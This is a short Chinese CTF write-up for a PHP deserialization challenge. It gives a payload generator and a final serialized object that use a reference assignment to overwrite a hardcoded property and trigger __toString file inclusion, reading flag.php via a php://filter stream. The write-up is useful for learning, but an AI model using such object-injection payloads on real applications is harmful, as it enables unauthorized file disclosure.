猫和老鼠
当时不会的点在于cat类的$a不会给他重新赋值,看到一个大佬的思路这里重新整理一下
首先mouse类有个__tostring方法,里面有个包含,可以想到文件包含。只要能调用这个类就可以利用了。
cat的$a被写死了,因此要想怎么给他绕过指向dog类的限制
payload:
<?php
class mouse
{
public $v;
public function __construct()
{
$this->v = 'php://filter/convert.base64-encode/resource=flag.php';
}
}
class cat
{
public $a;
public $b;
public $c;
public function __construct()
{
$this->b = &$this->a;
$this->c = new mouse();
}
}
$abc = new cat();
echo serialize($abc);
大佬的payload,整理在mouse类和cat类重新给变量赋值了,mouse里面用了个php://伪协议流读flag,cat里面的b变量指向a的空间地址,也就是b变成了一个指针变量,此时给b赋值就是给a赋值,重新把a原本的dog类覆盖了。然后c赋值为mouse类(tql!!!)最终用die()输出a,die()和echo一样输出字符串,这样子就触发mouse类中的__tostring魔术方法。完美!
反思:没想到用指针变量赋值,payload也不会写得这么好。
最终payload:
O:3:"cat":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";O:5:"mouse":1:{s:1:"v";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}